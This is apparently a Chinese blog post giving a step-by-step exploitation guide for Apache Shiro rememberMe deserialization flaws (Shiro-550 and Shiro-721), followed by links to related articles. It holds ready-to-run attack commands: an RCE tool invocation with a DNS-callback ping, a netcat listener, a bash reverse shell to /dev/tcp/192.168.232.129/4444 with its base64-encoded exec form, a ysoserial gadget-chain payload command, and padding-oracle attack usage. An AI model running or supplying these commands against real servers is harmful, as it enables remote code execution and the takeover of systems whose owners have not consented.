Shiro反序列化利用
Shiro反序列化利用
前言:hvv单位这个漏洞挺多的,之前没专门研究打法,特有此篇文章。
Shiro rememberMe反序列化漏洞(Shiro-550)
漏洞原理
Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。
那么,Payload产生的过程:
命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值
在整个漏洞利用过程中,比较重要的是AES加密的密钥,如果没有修改默认的密钥那么就很容易就知道密钥了,Payload构造起来也是十分的简单。影响版本
Apache Shiro < 1.2.4
特征判断
返回包中包含rememberMe=deleteMe字段。
利用工具
国外下载地址:https://github.com/teamssix/shiro-check-rce/releases/
example:
python3 shiro-check-rce.py -u http://192.168.232.129:8080/ -c "ping xxx.ceye.io" -t token
漏洞检测

反弹shell
注意:执行bash命令时需要对其进行编码
转码平台:http://www.jackson-t.ca/runtime-exec-payloads.html
设置监听:nc -lvvp 4444
原bash命令:bash -i >& /dev/tcp/192.168.232.129/4444 0>&1
转码后:bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzMi4xMjkvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}

Shiro Padding Oracle Attack(Shiro-721)
漏洞原理
由于Apache Shiro cookie中通过 AES-128-CBC 模式加密的rememberMe字段存在问题,用户可通过Padding Oracle 加密生成的攻击代码来构造恶意的rememberMe字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行。
影响版本
Apache Shiro < 1.4.2版本
漏洞利用
登录Shiro网站,从cookie中获得rememberMe字段的值。
HTTP/1.1 302 Found
Server: Apache-Coyote/1.1
Set-Cookie: rememberMe=deleteMe; Path=/; Max-Age=0; Expires=Thu, 29-Oct-2020 06:21:41 GMT
Set-Cookie: rememberMe=nHseK2L1X/khQcAePZT+F1EoLqCfzOvuUEAjmFBqOeGVVnI81f17LPzjPTyIR0Dmho/vYGuFnyrC8qE7PuE+KQ0Ql/LEz/yizxH6jYkJpfLVpkVUDXGAQt1Nh4jB5JlTWUbPmla+4HGJGombOY4TwLdO/SY4T4YOx0689KKJn6qmwnn1BfrT4XjiSTXXTYluLnlaKHOVgLrtOQ6IPP159ydV3P7/gP+lihh+nbif1Mzt8WSksJgV9qb2yfa+9jpdRYO9VN9dM1V5TF3//mGWjDttfnQQeCJKRjXEC4BscUigEpq3rtGQrH4L1uFoNbJM+IjK+goeW3toJoGIeRJ0SMuMDTovOivMOklNyxng9uQs6tzesoVbVLL5maMJwXuKFVaGtGPPuWcMLyUCyaj01PWBd/YSi7ZkWGTNRV8O4FYvcyl72/Qvz5NHzbXk8FQaX+BdHHsWgoIHg5dyM3ErscF1LCYM8y48T7ApwsyHsdZuzQd5A+qHwkg79D/ZQqYd; Path=/; Max-Age=31536000; Expires=Sat, 30-Oct-2021 06:21:41 GMT; HttpOnly
Location: /
Content-Length: 0
Date: Fri, 30 Oct 2020 06:21:41 GMT
Connection: close
利用DNSlog探测,通过ysoserial工具payload。
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar http://192.168.232.129:8080/ CommonsBeanutils1 "ping l6szkn.dnslog.cn" > payload.class
使用rememberMe值作为prefix,加载Payload,进行Padding Oracle攻击。
github项目地址:https://github.com/longofo/PaddingOracleAttack-Shiro-721
使用方法:
java -jar PaddingOracleAttack.jar targetUrl rememberMeCookie blockSize class文件路径

爆破成功:

利用很麻烦,而且这样跑很容易把目标服务器跑出问题或者被ban IP,可以使用上面的工具进行利用比较靠谱。
参考
https://cloud.tencent.com/developer/article/1649614 :shiro漏洞检测RCE工具
https://www.cnblogs.com/xiaozi/p/13239046.html: Shiro反序列化漏洞利用汇总(Shiro-550+Shiro-721)
https://www.cnblogs.com/yuyan-sec/p/12458806.html: Shiro反序列化漏洞利用
结语
之后还会陆续更新Shiro的漏洞,时间待定。
Shiro反序列化利用的更多相关文章
- Shiro反序列化的检测与利用
1. 前言 Shiro 是 Apache 旗下的一个用于权限管理的开源框架,提供开箱即用的身份验证.授权.密码套件和会话管理等功能. 2. 环境搭建 环境搭建vulhub 3. 如何发现 第一种情况 ...
- 利用shiro反序列化注入冰蝎内存马
利用shiro反序列化注入冰蝎内存马 文章首发先知社区:https://xz.aliyun.com/t/10696 一.shiro反序列化注入内存马 1)tomcat filter内存马 先来看一个普 ...
- 应急响应--记录一次漏洞紧急处理中意外发现的挖矿木马(Shiro反序列化漏洞和ddg挖矿木马)
背景 某公司线上服务器意外发现一个Apache Shiro 反序列化漏洞,可以直接GetShell.出于做安全的谨慎,马上出现场应急,确认漏洞.该漏洞存在在cookie字段中的rememberMe字段 ...
- 一次关于shiro反序列化漏洞的思考
0x01前言 之前在我反序列化的那篇文章中(https://www.cnblogs.com/lcxblogs/p/13539535.html),简单说了一下反序列化漏洞,也提了一嘴常见的几种Java框 ...
- Apache Shiro反序列化远程代码执行复现
最近也是看shiro漏洞比较多,所以自己也在本地复现了一下,拿出来与大家一起分享 0x00 关于Apache Shiro Apache shiro是一个Java安全框架,提供了认证.授权.加密和会话管 ...
- 【JavaWeb】CVE-2016-4437 Shiro反序列化漏洞分析及代码审计
Shiro反序列化漏洞分析及代码审计 漏洞简介 Apache Shiro是一个强大且易用的Java安全框架,执行身份验证.授权.密码和会话管理. Apache Shiro默认使用了CookieRe ...
- 记一次实战 Shiro反序列化内网上线
Shiro反序列化内网上线 说明:此贴仅分享用于各安全人员进行安全学习提供思路,或有合法授权的安全测试,请勿参考用于其他用途,如有,后果自负.感谢各位大佬的关注 目标:152.xxx.xxx.xxx目 ...
- Apache Shiro反序列化漏洞复现
Apache Shiro反序列化漏洞复现 0x01 搭建环境 获取docker镜像 Docker pull medicean/vulapps:s_shiro_1 重启docker system res ...
- Shiro反序列化复现
Shiro反序列化复现 ——————环境准备—————— 目标靶机:10.11.10.108 //docker环境 攻击机ip:无所谓 vpsip:192.168.14.222 //和靶机ip可通 1 ...
随机推荐
- ExtJS 布局-Accordion布局(Accordion layout)
更新记录: 2022年6月2日 开始. 2022年6月3日 发布. 1.说明 accordion(手风琴)布局一次仅显示一个子组件,内置支持 折叠 和 展开.当需要堆叠多个子组件,并每次只显示一次时, ...
- Winforms选择文件夹、文件
更新记录: 2022年5月28日 初始记录 选择文件夹 if (this.folderBrowserDialog1.ShowDialog() == DialogResult.OK) { //获得用户选 ...
- 皓远的第二次博客作业(最新pta集,链表练习及期中考试总结)
前言: 知识点运用:正则表达式,有关图形设计计算的表达式和算法,链表的相关知识,Java类的基础运用,继承.容器与多态. 题量:相较于上次作业,这几周在java方面的练习花了更多的精力和时间,所要完成 ...
- 掘地三尺搞定 Redis 与 MySQL 数据一致性问题
Redis 拥有高性能的数据读写功能,被我们广泛用在缓存场景,一是能提高业务系统的性能,二是为数据库抵挡了高并发的流量请求,点我 -> 解密 Redis 为什么这么快的秘密. 把 Redis 作 ...
- 手把手教你实现一个图片压缩工具(Vue与Node的完美配合)
前言 图片压缩对于我们日常生活来讲,是非常实用的一项功能.有时我们会在在线图片压缩网站上进行压缩,有时会在电脑下软件进行压缩.那么我们能不能用前端的知识来自己实现一个图片压缩工具呢?答案是有的.效果展 ...
- SAP 时区转换
DATA:l_tzone TYPE tzonref-tzone. "TIME ZONE DATA:l_timesp TYPE tzonref-tstamps."TIME ...
- vue.js中英文api
全局配置 Vue.config is an object containing Vue's global configurations. You can modify its properties l ...
- zabbix监控apache80端口
1.修改zabbix_agentd.conf 修改# EnableRemoteCommands=0 -->去掉注释修改为1--> EnableRemoteCommands=1 ###允许客 ...
- python——进行年龄和性别检测
年龄和性别检测 使用Python编程语言带你完成使用机器学习进行年龄和性别检测的任务. 首先需要编写用于检测人脸的代码,因为如果没有人脸检测,我们将无法进一步完成年龄和性别预测的任务. 下一步是预测图 ...
- 解决方案:可以ping别人,但是别人不能ping我
背景:我在写分布式爬虫项目时遇到了slave端无法ping通我的master,我的master可以ping通slave.我将master的防火墙关闭后slave可以ping了,但是这不是解决办法.于是 ...